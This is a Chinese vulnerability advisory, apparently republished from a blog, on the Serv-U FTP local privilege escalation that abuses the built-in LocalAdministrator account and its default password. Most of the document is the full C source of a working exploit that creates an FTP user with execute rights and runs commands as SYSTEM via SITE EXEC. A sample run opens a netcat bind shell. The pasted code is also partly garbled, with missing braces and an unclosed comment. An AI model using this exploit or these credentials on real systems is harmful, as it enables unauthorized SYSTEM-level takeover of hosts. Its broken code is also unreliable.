天天看点

Serv-U v6.0 本地权限提升漏洞

受影响系统]:

Serv-U FTP Server 6.0

Serv-U FTP Server 5.1.0.0

Serv-U FTP Server 5.0.0.9

Serv-U FTP Server 5.0.0.4

Serv-U FTP Server 5.0

Serv-U FTP Server 4.1.0.3

Serv-U FTP Server 4.1.0.11

Serv-U FTP Server 4.0.0.4

Serv-U FTP Server 4.0.0.0

Serv-U FTP Server 3.0.0.20 

--------------------------------------------------------------------------------

[漏洞描述]:

    Serv-u 是一款很出名的Ftp Server软件,最新版本Serv-U FTP Server V6.0 已经发布,经过测试发现该版本已之前版本一样都存在这个问题。漏洞是使用Serv-u本地默认管理端口,以默认管理员登陆新建域和用户来执行命令,版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。 

[测试方法]:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

    aT4r ins4n3 ([email][email protected][/email])提供了如下测试方法:

/*

* Hax0rcitos proudly presents

* Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)

*

* All Serv-u Versions have default Login/password for local Administration.

* This account is only available to connect in the loopback interface, so a

* local user will be able to connect to Serv-u with this account and create

* an ftp user with execute rights. after the user is created, just connect

* to the ftp server and execute a raw "SITE EXEC" command. the program will

* be execute with SYSTEM privileges.

* Copyright (c) 2003-2004  Haxorcitos.com . All Rights Reserved.

* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"

* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION

* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.

* Date:   10/2003

* Author: Andrés Tarascó Acunha

* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)

* Tested Against Serv-u 4.x and v5.1.0.0

         G:\exploit\serv-U\local>whoami

        INSANE\aT4r

        G:\exploit\serv-U\local>servulocal.exe "nc -l -p 99 -e cmd.exe"

        Serv-u >3.x Local Exploit by Haxorcitos

        <220 Serv-U FTP Server v5.0 for WinSock ready...

        >USER LocalAdministrator

        <331 User name okay, need password.

        ******************************************************

        >PASS #l@$ak#.lk;0@P

        <230 User logged in, proceed.

        >SITE MAINTENANCE

        [+] Creating New Domain...

        <200-DomainID=3

        220 Domain settings saved

        [+] Domain Haxorcitos:3 Created

        [+] Setting New Domain Online

        <220 Server command OK

        [+] Creating Evil User

        <200-User=haxorcitos

        200 User settings saved

        [+] Now Exploiting...

        >USER haxorcitos

        >PASS whitex0r

        [+] Now Executing: nc -l -p 99 -e cmd.exe

        <220 Domain deleted

         G:\exploit\serv-U\local>nc localhost 99

        Microsoft Windows XP [Versión 5.1.2600]

        (C) Copyright 1985-2001 Microsoft Corp.

        C:\>whoami

        whoami

        NT AUTHORITY\SYSTEM

         C:\>

  */

#i nclude <stdio.h>

#i nclude <stdlib.h>

#i nclude <winsock2.h>

#i nclude <io.h>

#i nclude <process.h>

//Responses

#define BANNER                  "220 "

#define USEROK                  "331 User name okay"

#define PASSOK                  "230 User logged in, proceed."

#define ADMOK                   "230-Switching to SYSTEM MAINTENANCE mode."

#define DOMAINID                "200-DomainID="

//Commands

#define XPLUSER                    "USER haxorcitos\r\n"

#define XPLPASSWORD                "PASS whitex0r\r\n"

#define USER                    "USER LocalAdministrator\r\n"

#define PASSWORD                "PASS #l@$ak#.lk;0@P\r\n"

#define MAINTENANCE             "SITE MAINTENANCE\r\n"

#define EXIT                    "QUIT\r\n"

char newdomain[]="-SETDOMAIN\r\n"

                 "-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n"

         "-TZOEnable=0\r\n"

         " TZOKey=\r\n";

/*               "-DynDNSEnable=0\r\n"

                 " DynIPName=\r\n";

*/

char deldomain[]="-DELETEDOMAIN\r\n"

                 "-IP=0.0.0.0\r\n"

                 " PortNo=2121\r\n";

char newuser[] =

                "-SETUSERSETUP\r\n"

                "-IP=0.0.0.0\r\n"

                "-PortNo=2121\r\n"

                "-User=haxorcitos\r\n"

                "-Password=whitex0r\r\n"

                "-HomeDir=c:\\\r\n"

                "-LoginMesFile=\r\n"

                "-Disable=0\r\n"

                "-RelPaths=1\r\n"

                "-NeedSecure=0\r\n"

                "-HideHidden=0\r\n"

                "-AlwaysAllowLogin=0\r\n"

                "-ChangePassword=0\r\n"

                "-QuotaEnable=0\r\n"

                "-MaxUsersLoginPerIP=-1\r\n"

                "-SpeedLimitUp=0\r\n"

                "-SpeedLimitDown=0\r\n"

                "-MaxNrUsers=-1\r\n"

                "-IdleTimeOut=600\r\n"

                "-SessionTimeOut=-1\r\n"

                "-Expire=0\r\n"

                "-RatioUp=1\r\n"

                "-RatioDown=1\r\n"

                "-RatiosCredit=0\r\n"

                "-QuotaCurrent=0\r\n"

                "-QuotaMaximum=0\r\n"

                "-Maintenance=None\r\n"

                "-PasswordType=Regular\r\n"

                "-Ratios=None\r\n"

                " Access=c:\\|RELP\r\n";

#define localport 43958

#define localip "127.0.0.1"

char cadena[1024];

int rec,domain;

/******************************************************************************/

void ParseCommands(int sock, char *data, int ShowSend, int showResponses,

char *response) {

send(sock,data,strlen(data),0);

if (ShowSend) printf(">%s",data);

Sleep(100);

do {

         rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';

         if (rec<=0) return;

         if (showResponses) printf("<%s",cadena);

         if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)

                domain=atoi(cadena+strlen(DOMAINID));

//} while (strncmp(cadena,response,strlen(response))!=0);

} while (strstr(cadena,response)==NULL);

  printf("******************************************************\r\n");

}

int main(int argc, char* argv[])

{

    WSADATA ws;

        int sock,sock2;

        struct sockaddr_in haxorcitos;

        struct sockaddr_in xpl;

printf("Serv-u >3.x Local Exploit by Haxorcitos\r\n\r\n");

if (argc<2) {

        printf("USAGE:   ServuLocal.exe \"command\"\r\n");

        printf("Example: ServuLocal.exe \"nc.exe -l -p 99 -e cmd.exe\"");

         return(0);

        if    (WSAStartup( MAKEWORD(2,2), &ws )!=0) {

        printf(" [-] WSAStartup() error\n");

        exit(0);

    }

    haxorcitos.sin_family = AF_INET;

    haxorcitos.sin_port = htons(localport);

    haxorcitos.sin_addr.s_addr = inet_addr(localip);

        sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

        connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos));

        rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';

        printf("<%s",cadena);

        ParseCommands(sock,USER,1,1,USEROK);

        ParseCommands(sock,PASSWORD,1,1,PASSOK);

        ParseCommands(sock,MAINTENANCE,1,0,"230 ");

        printf("[+] Creating New Domain...\r\n");

        ParseCommands(sock,newdomain,0,1,BANNER);

        printf("[+] Domain Haxorcitos:%i Created\n",domain);

/* Only for v5.x

        printf("[+] Setting New Domain Online\r\n");

        sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n

Command=DomainOnline\r\n",domain);

        ParseCommands(sock,cadena,0,1,BANNER);

        printf("[+] Creating Evil User\r\n");

        ParseCommands(sock,newuser,0,1,"200 ");

        Sleep(1000);

        printf("[+] Now Exploiting...\r\n");

    xpl.sin_family = AF_INET;

    xpl.sin_port = htons(2121);

    xpl.sin_addr.s_addr = inet_addr(localip);

        sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

        connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));

        rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0';

        ParseCommands(sock2,XPLUSER,1,1,USEROK);

        ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);

        printf("[+] Now Executing: %s\r\n",argv[1]);

        sprintf(cadena,"site exec %s\r\n",argv[1]);

        send(sock2,cadena,strlen(cadena),0);

        shutdown(sock2,SD_BOTH);

        Sleep(100);

        ParseCommands(sock,deldomain,0,1,BANNER);

        send(sock,EXIT,strlen(EXIT),0);

        shutdown(sock,SD_BOTH);

        closesocket(sock);

        closesocket(sock2);

        return 0;

[安全建议]:

厂商补丁:

    RhinoSoft

    ---------

    目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

本文转自loveme2351CTO博客,原文链接: http://blog.51cto.com/loveme23/8611,如需转载请自行联系原作者

继续阅读